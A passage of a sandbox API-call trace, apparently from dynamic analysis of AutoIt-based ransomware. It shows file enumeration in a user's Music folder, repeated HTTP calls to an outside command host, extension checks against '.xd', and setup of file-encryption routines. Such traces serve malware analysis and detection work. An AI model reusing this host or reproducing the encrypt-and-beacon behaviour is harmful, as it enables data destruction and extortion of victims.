4GOEKj7OqCFqUqcj.mp3", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0063.985] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0063.985] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.985] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0063.985] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0063.985] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0063.985] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0063.986] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fa0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620fa0, lpdwBufferLength=0x130ef8c) returned 1 [0063.986] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0063.986] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0063.986] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0063.987] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0063.987] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0063.987] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0063.987] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629280, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629280*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0063.987] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629250, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629250*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0063.987] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0063.987] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0063.988] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0063.988] CloseHandle (hObject=0x0) returned 0 [0063.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="usic\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sic\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ic\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ge9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="icUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jcOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cOq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.994] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Oq\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.994] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.994] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.994] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.994] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.994] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" 4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0063.994] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.994] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GOEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.994] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="OEKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.994] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="EKj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.994] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Kj7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.994] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="j7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.996] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.996] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="OqCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.996] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qCFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.996] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CFqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.996] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FqUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.996] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qUqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.996] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Uqcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.996] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qcj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.996] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cj.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.996] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="j.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.996] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0063.996] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.996] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.996] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0063.996] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.996] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0063.996] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0063.996] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0063.996] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0063.996] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0063.996] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1621018, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1621018, lpdwBufferLength=0x130ee1c) returned 1 [0063.997] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0063.997] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0063.997] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0063.997] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0063.997] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0063.997] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0063.997] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629190, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629190*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0063.998] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16294f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16294f0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0063.998] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0063.998] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0063.998] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0063.998] CloseHandle (hObject=0x0) returned 0 [0063.998] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.998] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0063.999] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0063.999] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.999] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.999] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.999] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.999] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0063.999] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.999] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0063.999] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.999] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.999] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0063.999] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.999] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.999] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.000] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.000] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.000] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0064.000] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0064.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0064.000] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0064.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0064.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0064.000] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0064.000] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17ab550) returned 1 [0064.001] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.001] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.001] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0064.001] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.001] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.001] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.001] PeekMessageW (in: lpMsg=0x130ef0c, 